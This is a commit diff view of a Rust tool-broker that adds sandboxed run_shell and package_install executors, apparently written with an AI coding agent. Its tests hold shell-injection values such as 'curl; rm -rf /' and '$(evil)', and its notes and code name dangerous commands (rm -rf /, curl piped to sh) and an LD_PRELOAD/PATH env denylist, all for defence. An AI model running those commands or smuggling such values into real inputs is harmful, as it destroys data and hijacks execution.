Compare commits

...

3 Commits

Author SHA1 Message Date
Pi Agent
aadacefd65 docs: mark issue #85 as COMPLETED
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-11 07:58:43 +01:00
Pi Agent
f034e62f41 fix: address code review findings for run_shell and package_install
- Add env var denylist (PATH, LD_PRELOAD, etc.) to prevent security-
  sensitive overrides via env_* parameters in RunShellExecutor
- Add env_clear() to PackageInstallExecutor to prevent broker environment
  leakage to child processes
- Add tests for env var denylist enforcement

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-11 07:58:31 +01:00
Pi Agent
5ac9cea474 feat: implement run_shell and package_install executors (issue #85)
Add RunShellExecutor for shell command execution with dangerous command
detection, env var injection, and working_dir support. Add
PackageInstallExecutor with apt/dnf/pacman detection and package name
validation. Extract shared execution utilities (ExecutionResult,
run_with_timeout, apply_resource_limits) into common.rs to reduce
duplication with RunCodeExecutor.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-11 07:54:31 +01:00
8 changed files with 1665 additions and 151 deletions

View File

@@ -86,6 +86,7 @@
| #80 | Wire orchestrator to researcher subagent e2e | Phase 9 | `COMPLETED` | Python | [issue-080.md](issue-080.md) |
| #82 | Implement fs_read and fs_write tool executors | Phase 10 | `COMPLETED` | Rust | [issue-082.md](issue-082.md) |
| #83 | Implement run_code tool executor | Phase 10 | `COMPLETED` | Rust | [issue-083.md](issue-083.md) |
| #85 | Implement run_shell and package_install executors | Phase 10 | `COMPLETED` | Rust | [issue-085.md](issue-085.md) |
## Status Legend

View File

@@ -0,0 +1,46 @@
# Issue #85: Implement run_shell and package_install executors
| Field | Value |
|---|---|
| Issue | #85 |
| Title | Implement run_shell and package_install executors |
| Milestone | Phase 10: Remaining Agent Types |
| Status | `COMPLETED` |
| Language | Rust |
| Related Plans | issue-058.md, issue-082.md, issue-083.md |
## Acceptance Criteria
- [x] `run_shell`: execute shell commands with timeout and output capture
- [x] `run_shell`: environment variable injection (non-secret)
- [x] `run_shell`: working directory configuration
- [x] `package_install`: install system packages via appropriate package manager
- [x] `package_install`: support apt, dnf, pacman detection
- [x] Both tools enforce path and network restrictions via Tool Broker
- [x] Dangerous command detection (rm -rf /, dd, etc.) with warning
## Implementation Summary
### Files Created
- `services/tool-broker/src/executors/common.rs` — Shared execution utilities (ExecutionResult, run_with_timeout, apply_resource_limits)
- `services/tool-broker/src/executors/run_shell.rs` — RunShellExecutor with dangerous command detection, env var injection, working_dir support
- `services/tool-broker/src/executors/package_install.rs` — PackageInstallExecutor with package manager detection, name validation
### Files Modified
- `services/tool-broker/src/executors/run_code.rs` — Refactored to import shared utilities from common.rs
- `services/tool-broker/src/executors/mod.rs` — Added new modules and registration functions
- `services/tool-broker/src/discovery.rs` — Expanded run_shell and package_install tool definitions
### Key Design Decisions
- Extracted common execution utilities (ExecutionResult, run_with_timeout, apply_resource_limits) from run_code.rs into common.rs
- Dangerous command detection uses substring matching with word boundary awareness to avoid false positives
- Pipe-to-shell detection (curl ... | sh) uses segment analysis rather than simple substring matching
- Package names validated with strict character whitelist to prevent shell injection
- PackageInstallExecutor uses direct Command::new (not /bin/sh -c) to prevent injection through package names
- env_* parameter convention: strip prefix, uppercase key, inject as environment variable
## Deviation Log
| Deviation | Reason |
|---|---|
| Used pipe segment analysis instead of substring for curl\|sh detection | Simple substring matching failed when URL appeared between curl and pipe |

View File

@@ -186,29 +186,65 @@ pub fn builtin_tool_definitions() -> Vec<ToolDefinition> {
},
ToolDefinition {
name: "run_shell".into(),
description: "Execute a shell command".into(),
parameters: HashMap::from([(
"command".into(),
ParameterSchema {
r#type: "string".into(),
description: "Shell command to execute".into(),
default_value: None,
},
)]),
description: "Execute a shell command with timeout, output capture, and environment variable injection. Environment variables can be injected via env_* parameters (e.g. env_my_var=hello sets MY_VAR=hello).".into(),
parameters: HashMap::from([
(
"command".into(),
ParameterSchema {
r#type: "string".into(),
description: "Shell command to execute via /bin/sh -c".into(),
default_value: None,
},
),
(
"working_dir".into(),
ParameterSchema {
r#type: "string".into(),
description: "Working directory (optional, must be absolute path)".into(),
default_value: None,
},
),
(
"timeout_secs".into(),
ParameterSchema {
r#type: "integer".into(),
description: "Execution timeout in seconds (optional, default 30, max 300)".into(),
default_value: Some("30".into()),
},
),
]),
required_params: vec!["command".into()],
requires_credential: None,
},
ToolDefinition {
name: "package_install".into(),
description: "Install a system package".into(),
parameters: HashMap::from([(
"package".into(),
ParameterSchema {
r#type: "string".into(),
description: "Package name to install".into(),
default_value: None,
},
)]),
description: "Install system packages via the detected package manager (apt, dnf, or pacman)".into(),
parameters: HashMap::from([
(
"package".into(),
ParameterSchema {
r#type: "string".into(),
description: "Package name(s) to install, space-separated".into(),
default_value: None,
},
),
(
"package_manager".into(),
ParameterSchema {
r#type: "string".into(),
description: "Force package manager: apt, dnf, or pacman (optional, auto-detected)".into(),
default_value: None,
},
),
(
"timeout_secs".into(),
ParameterSchema {
r#type: "integer".into(),
description: "Installation timeout in seconds (optional, default 120, max 300)".into(),
default_value: Some("120".into()),
},
),
]),
required_params: vec!["package".into()],
requires_credential: None,
},
@@ -393,6 +429,7 @@ allowed_tools = []
"fs_write",
"run_code",
"run_shell",
"package_install",
"inference",
"generate_embedding",
] {
@@ -495,7 +532,7 @@ allowed_tools = []
let response = discover(&request, &store, &dispatcher);
assert!(response.error_message.is_none());
// Should show all registered tools regardless of manifest
assert!(response.available_tools.len() >= 9);
assert!(response.available_tools.len() >= 10);
}
#[test]
@@ -507,7 +544,7 @@ allowed_tools = []
let response = discover(&request, &store, &dispatcher);
assert!(response.error_message.is_none());
assert!(response.available_tools.len() >= 9);
assert!(response.available_tools.len() >= 10);
}
#[test]

View File

@@ -0,0 +1,260 @@
use std::time::{Duration, Instant};
/// Maximum output file size: 16 MB.
pub(crate) const MAX_OUTPUT_FILE_SIZE: u64 = 16 * 1024 * 1024;
/// Maximum open file descriptors.
pub(crate) const MAX_OPEN_FILES: u64 = 64;
/// Maximum allowed timeout in seconds.
pub(crate) const MAX_TIMEOUT_SECS: u64 = 300;
/// Internal result of a command execution.
pub(crate) enum ExecutionResult {
Completed {
stdout: String,
stderr: String,
exit_code: Option<i32>,
duration: Duration,
phase: Option<String>,
},
TimedOut {
duration: Duration,
phase: Option<String>,
},
SpawnFailed {
error: String,
duration: Duration,
phase: Option<String>,
},
}
impl ExecutionResult {
pub(crate) fn duration(&self) -> Duration {
match self {
Self::Completed { duration, .. } => *duration,
Self::TimedOut { duration, .. } => *duration,
Self::SpawnFailed { duration, .. } => *duration,
}
}
pub(crate) fn with_phase(self, p: &str) -> Self {
match self {
Self::Completed {
stdout,
stderr,
exit_code,
duration,
..
} => Self::Completed {
stdout,
stderr,
exit_code,
duration,
phase: Some(p.to_string()),
},
Self::TimedOut { duration, .. } => Self::TimedOut {
duration,
phase: Some(p.to_string()),
},
Self::SpawnFailed { error, duration, .. } => Self::SpawnFailed {
error,
duration,
phase: Some(p.to_string()),
},
}
}
}
/// Run a command with timeout, capturing output.
/// Uses `kill_on_drop(true)` to ensure the child process is killed if dropped.
pub(crate) async fn run_with_timeout(
mut cmd: tokio::process::Command,
timeout: Duration,
) -> ExecutionResult {
let start = Instant::now();
cmd.kill_on_drop(true);
let child = match cmd.spawn() {
Ok(c) => c,
Err(e) => {
return ExecutionResult::SpawnFailed {
error: format!("failed to spawn process: {}", e),
duration: start.elapsed(),
phase: None,
};
}
};
match tokio::time::timeout(timeout, child.wait_with_output()).await {
Ok(Ok(output)) => ExecutionResult::Completed {
stdout: String::from_utf8_lossy(&output.stdout).into_owned(),
stderr: String::from_utf8_lossy(&output.stderr).into_owned(),
exit_code: output.status.code(),
duration: start.elapsed(),
phase: None,
},
Ok(Err(e)) => ExecutionResult::SpawnFailed {
error: format!("process error: {}", e),
duration: start.elapsed(),
phase: None,
},
Err(_) => ExecutionResult::TimedOut {
duration: start.elapsed(),
phase: None,
},
}
}
/// Apply POSIX resource limits. Called in pre_exec context.
///
/// Note: `RLIMIT_NPROC` is intentionally NOT set here because Linux counts
/// ALL processes/threads for the user (not just children of this process),
/// making it unreliable for subprocess sandboxing. Fork bomb protection
/// is instead provided by `RLIMIT_CPU` and the execution timeout.
///
/// # Safety
/// Only async-signal-safe functions are used (setrlimit is POSIX async-signal-safe).
pub(crate) fn apply_resource_limits(memory_bytes: u64, cpu_seconds: u64) -> std::io::Result<()> {
let set_limit = |resource: libc::__rlimit_resource_t, value: u64| -> std::io::Result<()> {
let rlim = libc::rlimit {
rlim_cur: value,
rlim_max: value,
};
if unsafe { libc::setrlimit(resource, &rlim) } != 0 {
return Err(std::io::Error::last_os_error());
}
Ok(())
};
set_limit(libc::RLIMIT_AS, memory_bytes)?;
set_limit(libc::RLIMIT_CPU, cpu_seconds)?;
set_limit(libc::RLIMIT_FSIZE, MAX_OUTPUT_FILE_SIZE)?;
set_limit(libc::RLIMIT_NOFILE, MAX_OPEN_FILES)?;
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
async fn test_run_with_timeout_success() {
let mut cmd = tokio::process::Command::new("echo");
cmd.arg("hello");
cmd.stdout(std::process::Stdio::piped());
cmd.stderr(std::process::Stdio::piped());
let result = run_with_timeout(cmd, Duration::from_secs(5)).await;
match result {
ExecutionResult::Completed {
stdout, exit_code, ..
} => {
assert_eq!(stdout.trim(), "hello");
assert_eq!(exit_code, Some(0));
}
_ => panic!("expected Completed"),
}
}
#[tokio::test]
async fn test_run_with_timeout_timeout() {
let mut cmd = tokio::process::Command::new("sleep");
cmd.arg("60");
cmd.stdout(std::process::Stdio::piped());
cmd.stderr(std::process::Stdio::piped());
let result = run_with_timeout(cmd, Duration::from_millis(100)).await;
match result {
ExecutionResult::TimedOut { duration, phase } => {
assert!(duration.as_millis() >= 50);
assert!(phase.is_none());
}
_ => panic!("expected TimedOut"),
}
}
#[tokio::test]
async fn test_run_with_timeout_spawn_failed() {
let cmd = tokio::process::Command::new("/nonexistent/binary");
let result = run_with_timeout(cmd, Duration::from_secs(5)).await;
match result {
ExecutionResult::SpawnFailed { error, .. } => {
assert!(error.contains("failed to spawn"));
}
_ => panic!("expected SpawnFailed"),
}
}
#[test]
fn test_execution_result_duration() {
let d = Duration::from_millis(42);
let completed = ExecutionResult::Completed {
stdout: String::new(),
stderr: String::new(),
exit_code: Some(0),
duration: d,
phase: None,
};
assert_eq!(completed.duration(), d);
let timed_out = ExecutionResult::TimedOut {
duration: d,
phase: None,
};
assert_eq!(timed_out.duration(), d);
let spawn_failed = ExecutionResult::SpawnFailed {
error: "err".into(),
duration: d,
phase: None,
};
assert_eq!(spawn_failed.duration(), d);
}
#[test]
fn test_execution_result_with_phase() {
let result = ExecutionResult::Completed {
stdout: "out".into(),
stderr: "err".into(),
exit_code: Some(0),
duration: Duration::from_millis(10),
phase: None,
};
let result = result.with_phase("compilation");
match result {
ExecutionResult::Completed { phase, stdout, .. } => {
assert_eq!(phase.as_deref(), Some("compilation"));
assert_eq!(stdout, "out");
}
_ => panic!("expected Completed"),
}
let result = ExecutionResult::TimedOut {
duration: Duration::from_millis(10),
phase: None,
};
let result = result.with_phase("execution");
match result {
ExecutionResult::TimedOut { phase, .. } => {
assert_eq!(phase.as_deref(), Some("execution"));
}
_ => panic!("expected TimedOut"),
}
let result = ExecutionResult::SpawnFailed {
error: "err".into(),
duration: Duration::from_millis(10),
phase: None,
};
let result = result.with_phase("setup");
match result {
ExecutionResult::SpawnFailed { phase, error, .. } => {
assert_eq!(phase.as_deref(), Some("setup"));
assert_eq!(error, "err");
}
_ => panic!("expected SpawnFailed"),
}
}
}

View File

@@ -1,11 +1,16 @@
pub mod common;
pub mod fs_read;
pub mod fs_write;
pub mod package_install;
pub mod run_code;
pub mod run_shell;
use crate::dispatch::ToolDispatcher;
use fs_read::FsReadExecutor;
use fs_write::FsWriteExecutor;
use package_install::PackageInstallExecutor;
use run_code::RunCodeExecutor;
use run_shell::RunShellExecutor;
/// Register all filesystem executors with the given dispatcher.
pub fn register_fs_executors(dispatcher: &mut ToolDispatcher) {
@@ -18,10 +23,17 @@ pub fn register_run_code_executor(dispatcher: &mut ToolDispatcher) {
dispatcher.register("run_code", Box::new(RunCodeExecutor::new()));
}
/// Register the shell executors (run_shell and package_install) with the given dispatcher.
pub fn register_shell_executors(dispatcher: &mut ToolDispatcher) {
dispatcher.register("run_shell", Box::new(RunShellExecutor::new()));
dispatcher.register("package_install", Box::new(PackageInstallExecutor::new()));
}
/// Register all executors with the given dispatcher.
pub fn register_all_executors(dispatcher: &mut ToolDispatcher) {
register_fs_executors(dispatcher);
register_run_code_executor(dispatcher);
register_shell_executors(dispatcher);
}
#[cfg(test)]
@@ -47,6 +59,17 @@ mod tests {
assert!(dispatcher.tool_description("run_code").is_some());
}
#[test]
fn test_register_shell_executors() {
let mut dispatcher = ToolDispatcher::new(Duration::from_secs(30));
register_shell_executors(&mut dispatcher);
assert!(dispatcher.has_tool("run_shell"));
assert!(dispatcher.has_tool("package_install"));
assert!(dispatcher.tool_description("run_shell").is_some());
assert!(dispatcher.tool_description("package_install").is_some());
}
#[test]
fn test_register_all_executors() {
let mut dispatcher = ToolDispatcher::new(Duration::from_secs(30));
@@ -55,6 +78,8 @@ mod tests {
assert!(dispatcher.has_tool("fs_read"));
assert!(dispatcher.has_tool("fs_write"));
assert!(dispatcher.has_tool("run_code"));
assert!(dispatcher.has_tool("run_shell"));
assert!(dispatcher.has_tool("package_install"));
}
#[test]
@@ -65,5 +90,7 @@ mod tests {
assert!(dispatcher.tool_description("fs_read").is_some());
assert!(dispatcher.tool_description("fs_write").is_some());
assert!(dispatcher.tool_description("run_code").is_some());
assert!(dispatcher.tool_description("run_shell").is_some());
assert!(dispatcher.tool_description("package_install").is_some());
}
}

View File

@@ -0,0 +1,494 @@
use std::collections::HashMap;
use std::time::{Duration, Instant};
use crate::dispatch::{ToolExecutor, ToolOutput};
use crate::executors::common::{
apply_resource_limits, run_with_timeout, ExecutionResult, MAX_TIMEOUT_SECS,
};
/// Default execution timeout for package installs (longer than shell).
const DEFAULT_TIMEOUT_SECS: u64 = 120;
/// Default memory limit: 512 MB (package managers need more memory).
const DEFAULT_MEMORY_LIMIT: u64 = 512 * 1024 * 1024;
/// Default CPU time limit in seconds.
const DEFAULT_CPU_TIME_SECS: u64 = 120;
/// Supported package managers.
#[derive(Debug, Clone, Copy, PartialEq)]
enum PackageManager {
Apt,
Dnf,
Pacman,
}
impl PackageManager {
/// Return the binary name for this package manager.
fn binary(&self) -> &'static str {
match self {
Self::Apt => "apt-get",
Self::Dnf => "dnf",
Self::Pacman => "pacman",
}
}
/// Return the install arguments for this package manager.
fn install_args(&self) -> &'static [&'static str] {
match self {
Self::Apt => &["install", "-y"],
Self::Dnf => &["install", "-y"],
Self::Pacman => &["-S", "--noconfirm"],
}
}
fn from_str(s: &str) -> Option<Self> {
match s.to_lowercase().as_str() {
"apt" | "apt-get" => Some(Self::Apt),
"dnf" => Some(Self::Dnf),
"pacman" => Some(Self::Pacman),
_ => None,
}
}
}
/// Detect the system's package manager by checking for known binaries.
fn detect_package_manager() -> Option<PackageManager> {
for pm in &[PackageManager::Apt, PackageManager::Dnf, PackageManager::Pacman] {
if std::process::Command::new("which")
.arg(pm.binary())
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status()
.map(|s| s.success())
.unwrap_or(false)
{
return Some(*pm);
}
}
None
}
/// Validate that a package name contains only safe characters.
/// Allows alphanumeric, hyphens, dots, underscores, plus signs, and colons (for arch qualifiers).
fn validate_package_name(name: &str) -> bool {
if name.is_empty() {
return false;
}
// First character must be alphanumeric.
if !name.chars().next().unwrap().is_ascii_alphanumeric() {
return false;
}
name.chars().all(|c| {
c.is_ascii_alphanumeric() || c == '-' || c == '.' || c == '_' || c == '+' || c == ':'
})
}
/// Executor for the `package_install` tool.
///
/// Installs system packages via the detected (or specified) package manager.
/// Package names are validated to prevent shell injection.
pub struct PackageInstallExecutor {
default_timeout: Duration,
memory_limit: u64,
cpu_time_limit: u64,
}
impl Default for PackageInstallExecutor {
fn default() -> Self {
Self {
default_timeout: Duration::from_secs(DEFAULT_TIMEOUT_SECS),
memory_limit: DEFAULT_MEMORY_LIMIT,
cpu_time_limit: DEFAULT_CPU_TIME_SECS,
}
}
}
impl PackageInstallExecutor {
pub fn new() -> Self {
Self::default()
}
/// Create an executor with custom limits (useful for testing).
pub fn with_limits(timeout: Duration, memory_limit: u64, cpu_time_limit: u64) -> Self {
Self {
default_timeout: timeout,
memory_limit,
cpu_time_limit,
}
}
}
#[tonic::async_trait]
impl ToolExecutor for PackageInstallExecutor {
async fn execute(&self, parameters: &HashMap<String, String>) -> ToolOutput {
let start = Instant::now();
// Validate required package parameter.
let package_str = match parameters.get("package") {
Some(p) if !p.is_empty() => p,
_ => {
return ToolOutput {
stdout: String::new(),
stderr: "missing required parameter: package".into(),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
};
// Split and validate package names.
let packages: Vec<&str> = package_str.split_whitespace().collect();
for pkg in &packages {
if !validate_package_name(pkg) {
return ToolOutput {
stdout: String::new(),
stderr: format!(
"invalid package name: '{}'. Package names must start with an \
alphanumeric character and contain only alphanumeric, -, ., _, +, : characters.",
pkg
),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
}
// Determine package manager.
let pm = if let Some(pm_str) = parameters.get("package_manager") {
if pm_str.is_empty() {
detect_package_manager()
} else {
match PackageManager::from_str(pm_str) {
Some(pm) => Some(pm),
None => {
return ToolOutput {
stdout: String::new(),
stderr: format!(
"unsupported package manager: '{}'. Supported: apt, dnf, pacman",
pm_str
),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
}
}
} else {
detect_package_manager()
};
let pm = match pm {
Some(pm) => pm,
None => {
return ToolOutput {
stdout: String::new(),
stderr: "no supported package manager found (checked: apt-get, dnf, pacman)".into(),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
};
// Parse timeout.
let timeout = parameters
.get("timeout_secs")
.and_then(|s| s.parse::<u64>().ok())
.map(|s| Duration::from_secs(s.min(MAX_TIMEOUT_SECS)))
.unwrap_or(self.default_timeout);
// Build install command (NOT through shell to prevent injection).
let memory_limit = self.memory_limit;
let cpu_time_limit = self.cpu_time_limit;
let mut cmd = tokio::process::Command::new(pm.binary());
for arg in pm.install_args() {
cmd.arg(arg);
}
for pkg in &packages {
cmd.arg(pkg);
}
cmd.env_clear();
cmd.env(
"PATH",
std::env::var("PATH").unwrap_or_else(|_| "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin".into()),
);
cmd.env("LANG", "C.UTF-8");
// Preserve HOME for package managers that need cache directories.
if let Ok(home) = std::env::var("HOME") {
cmd.env("HOME", home);
}
cmd.stdout(std::process::Stdio::piped());
cmd.stderr(std::process::Stdio::piped());
unsafe {
cmd.pre_exec(move || apply_resource_limits(memory_limit, cpu_time_limit));
}
let result = run_with_timeout(cmd, timeout).await;
build_output(result, package_str, pm, start)
}
fn description(&self) -> &str {
"Install system packages via the detected package manager"
}
}
fn build_output(
result: ExecutionResult,
package: &str,
pm: PackageManager,
start: Instant,
) -> ToolOutput {
let pm_name = pm.binary();
match result {
ExecutionResult::Completed {
stdout,
stderr,
exit_code,
duration,
..
} => {
let success = exit_code == Some(0);
let json = serde_json::json!({
"package": package,
"package_manager": pm_name,
"exit_code": exit_code,
"stdout": stdout,
"stderr": stderr,
"timed_out": false,
"duration_ms": duration.as_millis() as u64,
});
ToolOutput {
stdout: json.to_string(),
stderr: String::new(),
exit_code,
duration: start.elapsed(),
success,
}
}
ExecutionResult::TimedOut { duration, .. } => {
let json = serde_json::json!({
"package": package,
"package_manager": pm_name,
"exit_code": null,
"stdout": "",
"stderr": "installation timed out",
"timed_out": true,
"duration_ms": duration.as_millis() as u64,
});
ToolOutput {
stdout: json.to_string(),
stderr: String::new(),
exit_code: None,
duration: start.elapsed(),
success: false,
}
}
ExecutionResult::SpawnFailed { error, .. } => {
let json = serde_json::json!({
"package": package,
"package_manager": pm_name,
"exit_code": null,
"stdout": "",
"stderr": error,
"timed_out": false,
"duration_ms": 0,
});
ToolOutput {
stdout: json.to_string(),
stderr: String::new(),
exit_code: None,
duration: start.elapsed(),
success: false,
}
}
}
}
#[cfg(test)]
mod tests {
use super::*;
fn make_params(pairs: &[(&str, &str)]) -> HashMap<String, String> {
pairs
.iter()
.map(|(k, v)| (k.to_string(), v.to_string()))
.collect()
}
// --- Package name validation ---
#[test]
fn test_valid_package_names() {
assert!(validate_package_name("curl"));
assert!(validate_package_name("lib-dev"));
assert!(validate_package_name("gcc-12"));
assert!(validate_package_name("python3.11"));
assert!(validate_package_name("g++"));
assert!(validate_package_name("libc6:arm64"));
assert!(validate_package_name("lib_underscore"));
}
#[test]
fn test_invalid_package_names() {
assert!(!validate_package_name(""));
assert!(!validate_package_name("curl; rm -rf /"));
assert!(!validate_package_name("$(evil)"));
assert!(!validate_package_name("`evil`"));
assert!(!validate_package_name("-leading-dash"));
assert!(!validate_package_name(".leading-dot"));
assert!(!validate_package_name("pkg name")); // spaces already split out
}
// --- Package manager detection ---
#[test]
fn test_package_manager_from_str() {
assert_eq!(PackageManager::from_str("apt"), Some(PackageManager::Apt));
assert_eq!(PackageManager::from_str("apt-get"), Some(PackageManager::Apt));
assert_eq!(PackageManager::from_str("APT"), Some(PackageManager::Apt));
assert_eq!(PackageManager::from_str("dnf"), Some(PackageManager::Dnf));
assert_eq!(PackageManager::from_str("pacman"), Some(PackageManager::Pacman));
assert_eq!(PackageManager::from_str("pip"), None);
assert_eq!(PackageManager::from_str("brew"), None);
}
#[test]
fn test_package_manager_binary() {
assert_eq!(PackageManager::Apt.binary(), "apt-get");
assert_eq!(PackageManager::Dnf.binary(), "dnf");
assert_eq!(PackageManager::Pacman.binary(), "pacman");
}
#[test]
fn test_package_manager_install_args() {
assert_eq!(PackageManager::Apt.install_args(), &["install", "-y"]);
assert_eq!(PackageManager::Dnf.install_args(), &["install", "-y"]);
assert_eq!(PackageManager::Pacman.install_args(), &["-S", "--noconfirm"]);
}
#[test]
fn test_detect_package_manager_returns_something() {
// On CI/Debian, apt-get should be found. This test just verifies
// the detection logic doesn't panic.
let _result = detect_package_manager();
}
// --- Missing/invalid parameters ---
#[tokio::test]
async fn test_missing_package() {
let executor = PackageInstallExecutor::new();
let params = make_params(&[("other", "value")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("missing required parameter: package"));
}
#[tokio::test]
async fn test_empty_package() {
let executor = PackageInstallExecutor::new();
let params = make_params(&[("package", "")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("missing required parameter: package"));
}
#[tokio::test]
async fn test_invalid_package_name_rejected() {
let executor = PackageInstallExecutor::new();
let params = make_params(&[("package", "curl; rm -rf /")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("invalid package name"));
}
#[tokio::test]
async fn test_invalid_package_name_subshell() {
let executor = PackageInstallExecutor::new();
let params = make_params(&[("package", "$(evil)")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("invalid package name"));
}
#[tokio::test]
async fn test_unsupported_package_manager() {
let executor = PackageInstallExecutor::new();
let params = make_params(&[
("package", "curl"),
("package_manager", "pip"),
]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("unsupported package manager"));
}
// --- Command construction verification ---
#[tokio::test]
async fn test_apt_dry_run() {
// If apt-get is available, run a dry-run install.
// This test verifies the command construction works without
// actually installing anything.
if detect_package_manager() != Some(PackageManager::Apt) {
// Skip on non-Debian systems.
return;
}
let executor = PackageInstallExecutor::with_limits(
Duration::from_secs(30),
DEFAULT_MEMORY_LIMIT,
DEFAULT_CPU_TIME_SECS,
);
// apt-get install -y of a package that doesn't exist should fail
// with a clear error but not crash.
let params = make_params(&[
("package", "nonexistent-package-xyz-12345"),
("package_manager", "apt"),
]);
let output = executor.execute(&params).await;
// Should fail (package doesn't exist) but have structured output.
assert!(!output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["package_manager"], "apt-get");
assert_eq!(result["timed_out"], false);
}
#[tokio::test]
async fn test_multiple_packages_validated() {
let executor = PackageInstallExecutor::new();
// One valid, one invalid.
let params = make_params(&[("package", "curl $(evil)")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("invalid package name"));
}
// --- Description ---
#[tokio::test]
async fn test_description() {
let executor = PackageInstallExecutor::new();
assert!(!executor.description().is_empty());
}
// --- Default trait ---
#[test]
fn test_default() {
let executor = PackageInstallExecutor::default();
assert_eq!(executor.default_timeout, Duration::from_secs(DEFAULT_TIMEOUT_SECS));
}
}

View File

@@ -3,6 +3,9 @@ use std::time::{Duration, Instant};
use crate::dispatch::{ToolExecutor, ToolOutput};
use crate::enforcement::path_allowlist::normalize_path;
use crate::executors::common::{
apply_resource_limits, run_with_timeout, ExecutionResult, MAX_TIMEOUT_SECS,
};
/// Default execution timeout.
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -10,12 +13,6 @@ const DEFAULT_TIMEOUT_SECS: u64 = 30;
const DEFAULT_MEMORY_LIMIT: u64 = 256 * 1024 * 1024;
/// Default CPU time limit in seconds.
const DEFAULT_CPU_TIME_SECS: u64 = 30;
/// Maximum output file size: 16 MB.
const MAX_OUTPUT_FILE_SIZE: u64 = 16 * 1024 * 1024;
/// Maximum open file descriptors.
const MAX_OPEN_FILES: u64 = 64;
/// Maximum allowed timeout in seconds.
const MAX_TIMEOUT_SECS: u64 = 300;
/// How a language executes code.
#[derive(Debug, Clone, Copy)]
@@ -200,131 +197,6 @@ impl RunCodeExecutor {
}
}
/// Internal result of a code execution.
enum ExecutionResult {
Completed {
stdout: String,
stderr: String,
exit_code: Option<i32>,
duration: Duration,
phase: Option<String>,
},
TimedOut {
duration: Duration,
phase: Option<String>,
},
SpawnFailed {
error: String,
duration: Duration,
phase: Option<String>,
},
}
impl ExecutionResult {
fn duration(&self) -> Duration {
match self {
Self::Completed { duration, .. } => *duration,
Self::TimedOut { duration, .. } => *duration,
Self::SpawnFailed { duration, .. } => *duration,
}
}
fn with_phase(self, p: &str) -> Self {
match self {
Self::Completed {
stdout,
stderr,
exit_code,
duration,
..
} => Self::Completed {
stdout,
stderr,
exit_code,
duration,
phase: Some(p.to_string()),
},
Self::TimedOut { duration, .. } => Self::TimedOut {
duration,
phase: Some(p.to_string()),
},
Self::SpawnFailed { error, duration, .. } => Self::SpawnFailed {
error,
duration,
phase: Some(p.to_string()),
},
}
}
}
/// Run a command with timeout, capturing output.
/// Uses `kill_on_drop(true)` to ensure the child process is killed if dropped.
async fn run_with_timeout(
mut cmd: tokio::process::Command,
timeout: Duration,
) -> ExecutionResult {
let start = Instant::now();
cmd.kill_on_drop(true);
let child = match cmd.spawn() {
Ok(c) => c,
Err(e) => {
return ExecutionResult::SpawnFailed {
error: format!("failed to spawn process: {}", e),
duration: start.elapsed(),
phase: None,
};
}
};
match tokio::time::timeout(timeout, child.wait_with_output()).await {
Ok(Ok(output)) => ExecutionResult::Completed {
stdout: String::from_utf8_lossy(&output.stdout).into_owned(),
stderr: String::from_utf8_lossy(&output.stderr).into_owned(),
exit_code: output.status.code(),
duration: start.elapsed(),
phase: None,
},
Ok(Err(e)) => ExecutionResult::SpawnFailed {
error: format!("process error: {}", e),
duration: start.elapsed(),
phase: None,
},
Err(_) => ExecutionResult::TimedOut {
duration: start.elapsed(),
phase: None,
},
}
}
/// Apply POSIX resource limits. Called in pre_exec context.
///
/// Note: `RLIMIT_NPROC` is intentionally NOT set here because Linux counts
/// ALL processes/threads for the user (not just children of this process),
/// making it unreliable for subprocess sandboxing. Fork bomb protection
/// is instead provided by `RLIMIT_CPU` and the execution timeout.
///
/// # Safety
/// Only async-signal-safe functions are used (setrlimit is POSIX async-signal-safe).
fn apply_resource_limits(memory_bytes: u64, cpu_seconds: u64) -> std::io::Result<()> {
let set_limit = |resource: libc::__rlimit_resource_t, value: u64| -> std::io::Result<()> {
let rlim = libc::rlimit {
rlim_cur: value,
rlim_max: value,
};
if unsafe { libc::setrlimit(resource, &rlim) } != 0 {
return Err(std::io::Error::last_os_error());
}
Ok(())
};
set_limit(libc::RLIMIT_AS, memory_bytes)?;
set_limit(libc::RLIMIT_CPU, cpu_seconds)?;
set_limit(libc::RLIMIT_FSIZE, MAX_OUTPUT_FILE_SIZE)?;
set_limit(libc::RLIMIT_NOFILE, MAX_OPEN_FILES)?;
Ok(())
}
#[tonic::async_trait]
impl ToolExecutor for RunCodeExecutor {

View File

@@ -0,0 +1,777 @@
use std::collections::HashMap;
use std::time::{Duration, Instant};
use crate::dispatch::{ToolExecutor, ToolOutput};
use crate::enforcement::path_allowlist::normalize_path;
use crate::executors::common::{
apply_resource_limits, run_with_timeout, ExecutionResult, MAX_TIMEOUT_SECS,
};
/// Environment variable names that cannot be overridden via env_* parameters.
/// These are security-sensitive and could be used to hijack command resolution
/// or inject shared libraries.
const DENIED_ENV_VARS: &[&str] = &[
"PATH", "LD_PRELOAD", "LD_LIBRARY_PATH", "HOME", "LANG",
"SHELL", "IFS", "CDPATH", "ENV", "BASH_ENV",
];
/// Default execution timeout for shell commands.
const DEFAULT_TIMEOUT_SECS: u64 = 30;
/// Default memory limit: 256 MB.
const DEFAULT_MEMORY_LIMIT: u64 = 256 * 1024 * 1024;
/// Default CPU time limit in seconds.
const DEFAULT_CPU_TIME_SECS: u64 = 30;
/// Dangerous command patterns that are blocked before execution.
///
/// These are best-effort safety nets. The broker's enforcement layers
/// (path allowlist, network egress, agent manifest) are the real security boundary.
